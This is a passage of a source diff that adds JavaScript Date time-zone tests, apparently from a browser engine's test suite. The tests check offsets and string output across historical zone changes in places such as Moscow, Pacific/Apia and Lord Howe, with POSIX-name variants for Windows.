+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 44, 30);
+
+ assertDateValue(local.toDate(), utc.toInstant(), TimeZone(+0).toOffset());
+
+ assertDateString(local.toDate(), {
+ String: "Fri Jan 07 1972 00:44:30 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:44:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 7, DayOfWeek.Friday, 0, 44, 30);
+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 44, 30);
+
+ assertDate(local, utc, TimeZone(+0), {
+ String: "Fri Jan 07 1972 00:44:30 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:44:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 7, DayOfWeek.Friday, 0, 45, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 45, 0);
+
+ assertDate(local, utc, TimeZone(+0), {
+ String: "Fri Jan 07 1972 00:45:00 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:45:00 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 8, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 8, DayOfWeek.Saturday, 0, 0, 0);
+
+ assertDate(local, utc, TimeZone(+0), {
+ String: "Sat Jan 08 1972 00:00:00 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Sat, 08 Jan 1972 00:00:00 GMT",
+ });
+}
+});
+
+
+// File: Date/Africa_Monrovia.js
+// Africa/Tripoli switched from +02:00 to +01:00 and back.
+
+inTimeZone("Africa/Tripoli", () => {
+{
+ // +02:00 (standard time)
+ let local = new DateTime.Local(2012, Month.November, 1, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(2012, Month.October, 31, DayOfWeek.Wednesday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Thu Nov 01 2012 00:00:00 GMT+0200 (Eastern European Standard Time)",
+ UTCString: "Wed, 31 Oct 2012 22:00:00 GMT",
+ });
+}
+
+{
+ // +01:00 (standard time)
+ let local = new DateTime.Local(2012, Month.December, 1, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(2012, Month.November, 30, DayOfWeek.Friday, 23, 0, 0);
+
+ assertDate(local, utc, TimeZone(+1), {
+ String: "Sat Dec 01 2012 00:00:00 GMT+0100 (Eastern European Standard Time)",
+ UTCString: "Fri, 30 Nov 2012 23:00:00 GMT",
+ });
+}
+
+{
+ // +01:00 (daylight savings)
+ let local = new DateTime.Local(2013, Month.October, 1, DayOfWeek.Tuesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2013, Month.September, 30, DayOfWeek.Monday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Tue Oct 01 2013 00:00:00 GMT+0200 (Eastern European Summer Time)",
+ UTCString: "Mon, 30 Sep 2013 22:00:00 GMT",
+ });
+}
+
+{
+ // +02:00 (standard time)
+ let local = new DateTime.Local(2013, Month.November, 1, DayOfWeek.Friday, 0, 0, 0);
+ let utc = new DateTime.UTC(2013, Month.October, 31, DayOfWeek.Thursday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Fri Nov 01 2013 00:00:00 GMT+0200 (Eastern European Standard Time)",
+ UTCString: "Thu, 31 Oct 2013 22:00:00 GMT",
+ });
+}
+});
+
+
+// File: Date/America_Caracas.js
+// America/Caracas switched from -04:00 to -04:30 on 2007 Dec 9.
+
+inTimeZone("America/Caracas", () => {
+{
+ // -04:00 (standard time)
+ let local = new DateTime.Local(2007, Month.December, 5, DayOfWeek.Wednesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2007, Month.December, 5, DayOfWeek.Wednesday, 4, 0, 0);
+
+ assertDate(local, utc, TimeZone(-4), {
+ String: "Wed Dec 05 2007 00:00:00 GMT-0400 (Venezuela Time)",
+ DateString: "Wed Dec 05 2007",
+ TimeString: "00:00:00 GMT-0400 (Venezuela Time)",
+ UTCString: "Wed, 05 Dec 2007 04:00:00 GMT",
+ ISOString: "2007-12-05T04:00:00.000Z",
+ LocaleString: "Wed, 12/05/2007, 12:00:00 AM GMT-4",
+ LocaleDateString: "Wed, 12/05/2007",
+ LocaleTimeString: "12:00:00 AM GMT-4",
+ });
+}
+
+{
+ // -04:30 (standard time)
+ let local = new DateTime.Local(2007, Month.December, 12, DayOfWeek.Wednesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2007, Month.December, 12, DayOfWeek.Wednesday, 4, 30, 0);
+
+ assertDate(local, utc, TimeZone(-4, 30), {
+ String: "Wed Dec 12 2007 00:00:00 GMT-0430 (Venezuela Time)",
+ DateString: "Wed Dec 12 2007",
+ TimeString: "00:00:00 GMT-0430 (Venezuela Time)",
+ UTCString: "Wed, 12 Dec 2007 04:30:00 GMT",
+ ISOString: "2007-12-12T04:30:00.000Z",
+ LocaleString: "Wed, 12/12/2007, 12:00:00 AM GMT-4:30",
+ LocaleDateString: "Wed, 12/12/2007",
+ LocaleTimeString: "12:00:00 AM GMT-4:30",
+ });
+}
+});
+
+
+// File: Date/Australia_Lord_Howe.js
+// Australia/Lord_Howe time zone offset is +10:30 and daylight savings amount is 00:30.
+
+inTimeZone("Australia/Lord_Howe", () => {
+{
+ // +10:30 (standard time)
+ let local = new DateTime.Local(2010, Month.August, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.July, 31, DayOfWeek.Saturday, 13, 30, 0);
+
+ assertDate(local, utc, TimeZone(+10,30), {
+ String: "Sun Aug 01 2010 00:00:00 GMT+1030 (Lord Howe Standard Time)",
+ DateString: "Sun Aug 01 2010",
+ TimeString: "00:00:00 GMT+1030 (Lord Howe Standard Time)",
+ UTCString: "Sat, 31 Jul 2010 13:30:00 GMT",
+ ISOString: "2010-07-31T13:30:00.000Z",
+ LocaleString: "Sun, 08/01/2010, 12:00:00 AM GMT+10:30",
+ LocaleDateString: "Sun, 08/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+10:30",
+ });
+}
+
+{
+ // +10:30 (daylight savings)
+ let local = new DateTime.Local(2010, Month.January, 3, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.January, 2, DayOfWeek.Saturday, 13, 0, 0);
+
+ assertDate(local, utc, TimeZone(+11), {
+ String: "Sun Jan 03 2010 00:00:00 GMT+1100 (Lord Howe Daylight Time)",
+ DateString: "Sun Jan 03 2010",
+ TimeString: "00:00:00 GMT+1100 (Lord Howe Daylight Time)",
+ UTCString: "Sat, 02 Jan 2010 13:00:00 GMT",
+ ISOString: "2010-01-02T13:00:00.000Z",
+ LocaleString: "Sun, 01/03/2010, 12:00:00 AM GMT+11",
+ LocaleDateString: "Sun, 01/03/2010",
+ LocaleTimeString: "12:00:00 AM GMT+11",
+ });
+}
+});
+
+
+// File: Date/Europe_Amsterdam.js
+// Europe/Amsterdam as an example for mean time like timezones after LMT (AMT, NST).
+
+inTimeZone("Europe/Amsterdam", () => {
+{
+ let local = new DateTime.Local(1935, Month.January, 1, DayOfWeek.Tuesday, 0, 0, 0);
+ let utc = new DateTime.UTC(1934, Month.December, 31, DayOfWeek.Monday, 23, 40, 28);
+
+ assertDate(local, utc, TimeZone(+0,19,32), {
+ String: "Tue Jan 01 1935 00:00:00 GMT+0019 (Central European Standard Time)",
+ UTCString: "Mon, 31 Dec 1934 23:40:28 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1935, Month.July, 1, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(1935, Month.June, 30, DayOfWeek.Sunday, 22, 40, 28);
+
+ assertDate(local, utc, TimeZone(+1,19,32), {
+ String: "Mon Jul 01 1935 00:00:00 GMT+0119 (Central European Summer Time)",
+ UTCString: "Sun, 30 Jun 1935 22:40:28 GMT",
+ });
+}
+});
+
+
+// File: Date/Europe_London.js
+
+inTimeZone("Europe/London", () => {
+{
+ // +01:00 (standard time)
+ let local = new DateTime.Local(1970, Month.January, 1, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(1969, Month.December, 31, DayOfWeek.Wednesday, 23, 0, 0);
+
+ assertDate(local, utc, TimeZone(+1), {
+ String: "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)",
+ DateString: "Thu Jan 01 1970",
+ TimeString: "00:00:00 GMT+0100 (Greenwich Mean Time)",
+ UTCString: "Wed, 31 Dec 1969 23:00:00 GMT",
+ ISOString: "1969-12-31T23:00:00.000Z",
+ LocaleString: "Thu, 01/01/1970, 12:00:00 AM GMT+1",
+ LocaleDateString: "Thu, 01/01/1970",
+ LocaleTimeString: "12:00:00 AM GMT+1",
+ });
+}
+});
+
+
+// File: Date/Europe_Moscow.js
+
+inTimeZone("Europe/Moscow", () => {
+{
+ let local = new DateTime.Local(1970, Month.January, 1, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(1969, Month.December, 31, DayOfWeek.Wednesday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Thu Jan 01 1970 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Thu Jan 01 1970",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Wed, 31 Dec 1969 21:00:00 GMT",
+ ISOString: "1969-12-31T21:00:00.000Z",
+ LocaleString: "Thu, 01/01/1970, 12:00:00 AM GMT+3",
+ LocaleDateString: "Thu, 01/01/1970",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+// Russia was in +02:00 starting on 1991-03-31 until 1992-01-19,
+// while still observing DST (transitions 1991-03-31 and 1991-09-29).
+
+{
+ // +03:00 (daylight savings)
+ let local = new DateTime.Local(1990, Month.September, 1, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(1990, Month.August, 31, DayOfWeek.Friday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sat Sep 01 1990 00:00:00 GMT+0400 (Moscow Summer Time)",
+ DateString: "Sat Sep 01 1990",
+ TimeString: "00:00:00 GMT+0400 (Moscow Summer Time)",
+ UTCString: "Fri, 31 Aug 1990 20:00:00 GMT",
+ ISOString: "1990-08-31T20:00:00.000Z",
+ LocaleString: "Sat, 09/01/1990, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sat, 09/01/1990",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +03:00 (standard time)
+ let local = new DateTime.Local(1991, Month.March, 25, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.March, 24, DayOfWeek.Sunday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Mon Mar 25 1991 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Mon Mar 25 1991",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Sun, 24 Mar 1991 21:00:00 GMT",
+ ISOString: "1991-03-24T21:00:00.000Z",
+ LocaleString: "Mon, 03/25/1991, 12:00:00 AM GMT+3",
+ LocaleDateString: "Mon, 03/25/1991",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+{
+ // +02:00 (daylight savings)
+ let local = new DateTime.Local(1991, Month.March, 31, DayOfWeek.Sunday, 12, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.March, 31, DayOfWeek.Sunday, 9, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Sun Mar 31 1991 12:00:00 GMT+0300 (Moscow Summer Time)",
+ DateString: "Sun Mar 31 1991",
+ TimeString: "12:00:00 GMT+0300 (Moscow Summer Time)",
+ UTCString: "Sun, 31 Mar 1991 09:00:00 GMT",
+ ISOString: "1991-03-31T09:00:00.000Z",
+ LocaleString: "Sun, 03/31/1991, 12:00:00 PM GMT+3",
+ LocaleDateString: "Sun, 03/31/1991",
+ LocaleTimeString: "12:00:00 PM GMT+3",
+ });
+}
+
+{
+ // +02:00 (daylight savings)
+ let local = new DateTime.Local(1991, Month.September, 28, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.September, 27, DayOfWeek.Friday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Sat Sep 28 1991 00:00:00 GMT+0300 (Moscow Summer Time)",
+ DateString: "Sat Sep 28 1991",
+ TimeString: "00:00:00 GMT+0300 (Moscow Summer Time)",
+ UTCString: "Fri, 27 Sep 1991 21:00:00 GMT",
+ ISOString: "1991-09-27T21:00:00.000Z",
+ LocaleString: "Sat, 09/28/1991, 12:00:00 AM GMT+3",
+ LocaleDateString: "Sat, 09/28/1991",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+{
+ // +02:00 (standard time)
+ let local = new DateTime.Local(1991, Month.September, 30, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.September, 29, DayOfWeek.Sunday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Mon Sep 30 1991 00:00:00 GMT+0200 (Moscow Standard Time)",
+ DateString: "Mon Sep 30 1991",
+ TimeString: "00:00:00 GMT+0200 (Moscow Standard Time)",
+ UTCString: "Sun, 29 Sep 1991 22:00:00 GMT",
+ ISOString: "1991-09-29T22:00:00.000Z",
+ LocaleString: "Mon, 09/30/1991, 12:00:00 AM GMT+2",
+ LocaleDateString: "Mon, 09/30/1991",
+ LocaleTimeString: "12:00:00 AM GMT+2",
+ });
+}
+
+// Russia stopped observing DST in Oct. 2010 (last transition on 2010-10-31),
+// and changed timezone from +03:00 to +04:00 on 2011-03-27.
+
+{
+ // +03:00 (daylight savings)
+ let local = new DateTime.Local(2010, Month.October, 30, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.October, 29, DayOfWeek.Friday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sat Oct 30 2010 00:00:00 GMT+0400 (Moscow Summer Time)",
+ DateString: "Sat Oct 30 2010",
+ TimeString: "00:00:00 GMT+0400 (Moscow Summer Time)",
+ UTCString: "Fri, 29 Oct 2010 20:00:00 GMT",
+ ISOString: "2010-10-29T20:00:00.000Z",
+ LocaleString: "Sat, 10/30/2010, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sat, 10/30/2010",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +03:00 (standard time)
+ let local = new DateTime.Local(2010, Month.November, 1, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.October, 31, DayOfWeek.Sunday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Mon Nov 01 2010 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Mon Nov 01 2010",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Sun, 31 Oct 2010 21:00:00 GMT",
+ ISOString: "2010-10-31T21:00:00.000Z",
+ LocaleString: "Mon, 11/01/2010, 12:00:00 AM GMT+3",
+ LocaleDateString: "Mon, 11/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+{
+ // +04:00 (standard time)
+ let local = new DateTime.Local(2011, Month.October, 30, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.October, 29, DayOfWeek.Saturday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sun Oct 30 2011 00:00:00 GMT+0400 (Moscow Standard Time)",
+ DateString: "Sun Oct 30 2011",
+ TimeString: "00:00:00 GMT+0400 (Moscow Standard Time)",
+ UTCString: "Sat, 29 Oct 2011 20:00:00 GMT",
+ ISOString: "2011-10-29T20:00:00.000Z",
+ LocaleString: "Sun, 10/30/2011, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sun, 10/30/2011",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +04:00 (standard time)
+ let local = new DateTime.Local(2011, Month.November, 1, DayOfWeek.Tuesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.October, 31, DayOfWeek.Monday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Tue Nov 01 2011 00:00:00 GMT+0400 (Moscow Standard Time)",
+ DateString: "Tue Nov 01 2011",
+ TimeString: "00:00:00 GMT+0400 (Moscow Standard Time)",
+ UTCString: "Mon, 31 Oct 2011 20:00:00 GMT",
+ ISOString: "2011-10-31T20:00:00.000Z",
+ LocaleString: "Tue, 11/01/2011, 12:00:00 AM GMT+4",
+ LocaleDateString: "Tue, 11/01/2011",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+// Russia changed timezone from +04:00 to +03:00 on 2014-10-26.
+
+{
+ // +04:00 (standard time)
+ let local = new DateTime.Local(2014, Month.October, 26, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2014, Month.October, 25, DayOfWeek.Saturday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sun Oct 26 2014 00:00:00 GMT+0400 (Moscow Standard Time)",
+ DateString: "Sun Oct 26 2014",
+ TimeString: "00:00:00 GMT+0400 (Moscow Standard Time)",
+ UTCString: "Sat, 25 Oct 2014 20:00:00 GMT",
+ ISOString: "2014-10-25T20:00:00.000Z",
+ LocaleString: "Sun, 10/26/2014, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sun, 10/26/2014",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +03:00 (standard time)
+ let local = new DateTime.Local(2014, Month.October, 27, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(2014, Month.October, 26, DayOfWeek.Sunday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Mon Oct 27 2014 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Mon Oct 27 2014",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Sun, 26 Oct 2014 21:00:00 GMT",
+ ISOString: "2014-10-26T21:00:00.000Z",
+ LocaleString: "Mon, 10/27/2014, 12:00:00 AM GMT+3",
+ LocaleDateString: "Mon, 10/27/2014",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+});
+
+
+// File: Date/Pacific_Apia.js
+// Pacific/Apia switched from -11:00 to +13:00 on 2011 Dec 29 24:00.
+
+inTimeZone("Pacific/Apia", () => {
+{
+ // -11:00 (daylight savings)
+ let local = new DateTime.Local(2011, Month.December, 29, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.December, 29, DayOfWeek.Thursday, 10, 0, 0);
+
+ assertDate(local, utc, TimeZone(-10), {
+ String: "Thu Dec 29 2011 00:00:00 GMT-1000 (Apia Daylight Time)",
+ DateString: "Thu Dec 29 2011",
+ TimeString: "00:00:00 GMT-1000 (Apia Daylight Time)",
+ UTCString: "Thu, 29 Dec 2011 10:00:00 GMT",
+ ISOString: "2011-12-29T10:00:00.000Z",
+ LocaleString: "Thu, 12/29/2011, 12:00:00 AM GMT-10",
+ LocaleDateString: "Thu, 12/29/2011",
+ LocaleTimeString: "12:00:00 AM GMT-10",
+ });
+}
+
+{
+ // +13:00 (daylight savings)
+ let local = new DateTime.Local(2011, Month.December, 31, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.December, 30, DayOfWeek.Friday, 10, 0, 0);
+
+ assertDate(local, utc, TimeZone(+14), {
+ String: "Sat Dec 31 2011 00:00:00 GMT+1400 (Apia Daylight Time)",
+ DateString: "Sat Dec 31 2011",
+ TimeString: "00:00:00 GMT+1400 (Apia Daylight Time)",
+ UTCString: "Fri, 30 Dec 2011 10:00:00 GMT",
+ ISOString: "2011-12-30T10:00:00.000Z",
+ LocaleString: "Sat, 12/31/2011, 12:00:00 AM GMT+14",
+ LocaleDateString: "Sat, 12/31/2011",
+ LocaleTimeString: "12:00:00 AM GMT+14",
+ });
+}
+
+{
+ // +13:00 (standard time)
+ let local = new DateTime.Local(2012, Month.April, 2, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(2012, Month.April, 1, DayOfWeek.Sunday, 11, 0, 0);
+
+ assertDate(local, utc, TimeZone(+13), {
+ String: "Mon Apr 02 2012 00:00:00 GMT+1300 (Apia Standard Time)",
+ DateString: "Mon Apr 02 2012",
+ TimeString: "00:00:00 GMT+1300 (Apia Standard Time)",
+ UTCString: "Sun, 01 Apr 2012 11:00:00 GMT",
+ ISOString: "2012-04-01T11:00:00.000Z",
+ LocaleString: "Mon, 04/02/2012, 12:00:00 AM GMT+13",
+ LocaleDateString: "Mon, 04/02/2012",
+ LocaleTimeString: "12:00:00 AM GMT+13",
+ });
+}
+});
+
+
+// File: Date/Pacific_Chatham.js
+// Pacific/Chatham time zone offset is 12:45.
+
+inTimeZone("Pacific/Chatham", () => {
+{
+ // +12:45 (standard time)
+ let local = new DateTime.Local(2010, Month.August, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.July, 31, DayOfWeek.Saturday, 11, 15, 0);
+
+ assertDate(local, utc, TimeZone(+12,45), {
+ String: "Sun Aug 01 2010 00:00:00 GMT+1245 (Chatham Standard Time)",
+ DateString: "Sun Aug 01 2010",
+ TimeString: "00:00:00 GMT+1245 (Chatham Standard Time)",
+ UTCString: "Sat, 31 Jul 2010 11:15:00 GMT",
+ ISOString: "2010-07-31T11:15:00.000Z",
+ LocaleString: "Sun, 08/01/2010, 12:00:00 AM GMT+12:45",
+ LocaleDateString: "Sun, 08/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+12:45",
+ });
+}
+
+{
+ // +12:45 (daylight savings)
+ let local = new DateTime.Local(2010, Month.January, 3, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.January, 2, DayOfWeek.Saturday, 10, 15, 0);
+
+ assertDate(local, utc, TimeZone(+13,45), {
+ String: "Sun Jan 03 2010 00:00:00 GMT+1345 (Chatham Daylight Time)",
+ DateString: "Sun Jan 03 2010",
+ TimeString: "00:00:00 GMT+1345 (Chatham Daylight Time)",
+ UTCString: "Sat, 02 Jan 2010 10:15:00 GMT",
+ ISOString: "2010-01-02T10:15:00.000Z",
+ LocaleString: "Sun, 01/03/2010, 12:00:00 AM GMT+13:45",
+ LocaleDateString: "Sun, 01/03/2010",
+ LocaleTimeString: "12:00:00 AM GMT+13:45",
+ });
+}
+});
+
+
+// File: Date/Pacific_Kiritimati.js
+// Pacific/Kiritimati time zone offset is +14:00.
+
+inTimeZone("Pacific/Kiritimati", () => {
+{
+ // +14:00 (standard time)
+ let local = new DateTime.Local(2010, Month.August, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.July, 31, DayOfWeek.Saturday, 10, 0, 0);
+
+ assertDate(local, utc, TimeZone(+14), {
+ String: "Sun Aug 01 2010 00:00:00 GMT+1400 (Line Islands Time)",
+ DateString: "Sun Aug 01 2010",
+ TimeString: "00:00:00 GMT+1400 (Line Islands Time)",
+ UTCString: "Sat, 31 Jul 2010 10:00:00 GMT",
+ ISOString: "2010-07-31T10:00:00.000Z",
+ LocaleString: "Sun, 08/01/2010, 12:00:00 AM GMT+14",
+ LocaleDateString: "Sun, 08/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+14",
+ });
+}
+
+// Pacific/Kiritimati time zone offset was -10:40 until Oct. 1979.
+
+{
+ // -10:40 (standard time)
+ let local = new DateTime.Local(1975, Month.January, 1, DayOfWeek.Wednesday, 0, 0, 0);
+ let utc = new DateTime.UTC(1975, Month.January, 1, DayOfWeek.Wednesday, 10, 40, 0);
+
+ assertDate(local, utc, TimeZone(-10,40), {
+ String: "Wed Jan 01 1975 00:00:00 GMT-1040 (Line Islands Time)",
+ DateString: "Wed Jan 01 1975",
+ TimeString: "00:00:00 GMT-1040 (Line Islands Time)",
+ UTCString: "Wed, 01 Jan 1975 10:40:00 GMT",
+ ISOString: "1975-01-01T10:40:00.000Z",
+ LocaleString: "Wed, 01/01/1975, 12:00:00 AM GMT-10:40",
+ LocaleDateString: "Wed, 01/01/1975",
+ LocaleTimeString: "12:00:00 AM GMT-10:40",
+ });
+}
+});
+
+
+// File: Date/Pacifi_Niue.js
+// Pacific/Niue time zone offset was -11:20 until 1951.
+
+inTimeZone("Pacific/Niue", () => {
+{
+ // -11:20 (standard time)
+ let local = new DateTime.Local(1950, Month.January, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(1950, Month.January, 1, DayOfWeek.Sunday, 11, 20, 0);
+
+ assertDate(local, utc, TimeZone(-11,20), {
+ String: "Sun Jan 01 1950 00:00:00 GMT-1120 (Niue Time)",
+ DateString: "Sun Jan 01 1950",
+ TimeString: "00:00:00 GMT-1120 (Niue Time)",
+ UTCString: "Sun, 01 Jan 1950 11:20:00 GMT",
+ ISOString: "1950-01-01T11:20:00.000Z",
+ LocaleString: "Sun, 01/01/1950, 12:00:00 AM GMT-11:20",
+ LocaleDateString: "Sun, 01/01/1950",
+ LocaleTimeString: "12:00:00 AM GMT-11:20",
+ });
+}
+});
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-pedantic.js b/js/src/tests/non262/Date/time-zones-pedantic.js
new file mode 100644
index 0000000000..c3445ed5fd
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-pedantic.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||xulRuntime.OS=="Darwin") -- Skip on OS X in addition to Windows
+
+// Contains the tests from "time-zones.js" which fail on OS X.
+
+// bug 637244
+inTimeZone("Asia/Novosibirsk", () => {
+ let dt1 = new Date(1984, Month.April, 1, -1);
+ assertDateTime(dt1, "Sat Mar 31 1984 23:00:00 GMT+0700 (NOVT)", "+07", "Novosibirsk Standard Time");
+
+ let dt2 = new Date(1984, Month.April, 1);
+ assertDateTime(dt2, "Sun Apr 01 1984 01:00:00 GMT+0800 (NOVST)", "+08", "Novosibirsk Summer Time");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-posix.js b/js/src/tests/non262/Date/time-zones-posix.js
new file mode 100644
index 0000000000..c2d7cc20c9
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-posix.js
@@ -0,0 +1,160 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&!xulRuntime.shell) -- Windows browser in automation doesn't pick up new time zones correctly
+
+// Repeats the test from "time-zones.js", but uses POSIX instead of IANA names
+// for the time zones. This allows to run these tests on Windows, too.
+
+// From bug 1330149:
+//
+// Windows only supports a very limited set of IANA time zone names for the TZ
+// environment variable.
+//
+// TZ format supported by Windows: "TZ=tzn[+|-]hh[:mm[:ss]][dzn]".
+//
+// Complete list of all IANA time zone ids matching that format.
+//
+// From tzdata's "northamerica" file:
+// EST5EDT
+// CST6CDT
+// MST7MDT
+// PST8PDT
+//
+// From tzdata's "backward" file:
+// GMT+0
+// GMT-0
+// GMT0
+//
+// Also supported on Windows even though they don't match the format listed
+// above.
+//
+// From tzdata's "backward" file:
+// UCT
+// UTC
+//
+// From tzdata's "etcetera" file:
+// GMT
+
+
+// Perform the following replacements:
+// America/New_York -> EST5EDT
+// America/Chicago -> CST6CDT
+// America/Denver -> MST7MDT
+// America/Los_Angeles -> PST8PDT
+//
+// And remove any tests not matching one of the four time zones from above.
+
+// bug 294908
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(2003, Month.April, 6, 2, 30, 00);
+ assertDateTime(dt, "Sun Apr 06 2003 03:30:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 610183
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2014, Month.November, 2, 1, 47, 42);
+ assertDateTime(dt, "Sun Nov 02 2014 01:47:42 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+// bug 629465
+inTimeZone("MST7MDT", () => {
+ let dt1 = new Date(Date.UTC(2015, Month.November, 1, 0, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt1, "Sun Nov 01 2015 00:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt2 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt2, "Sun Nov 01 2015 01:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt3 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 7 * msPerHour);
+ assertDateTime(dt3, "Sun Nov 01 2015 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+});
+
+// bug 742427
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("MST7MDT", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
